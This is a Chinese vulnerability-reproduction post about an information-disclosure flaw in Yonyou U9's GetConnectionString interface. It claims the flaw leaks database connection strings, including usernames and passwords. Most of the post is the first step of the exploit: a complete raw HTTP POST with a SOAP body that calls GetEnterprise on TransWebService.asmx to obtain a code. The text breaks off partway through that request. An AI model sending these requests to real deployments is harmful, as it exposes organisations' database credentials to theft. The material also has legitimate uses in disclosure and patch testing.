[漏洞复现]用友u9接口GetConnectionString存在信息泄露漏洞

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漏洞介绍

用友u9 GetConnectionString存在信息泄露漏洞，攻击者可通过该漏洞获取数据库连接信息包括数据库账号密码等敏感信息。

漏洞复现

1. 获取code

POST /CS/Office/TransWebService.asmx HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=1
SOAPAction: http://tempuri.org/GetEnterprise
Content-Type: text/xml;charset=UTF-8
Content-Length: 198

<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope" xmlns:tem="http://tempuri.org/">
   <soap:Header/>
   <soap:Body>
      <tem:GetEnterprise/>
   </soap:Body>
</soap:Enve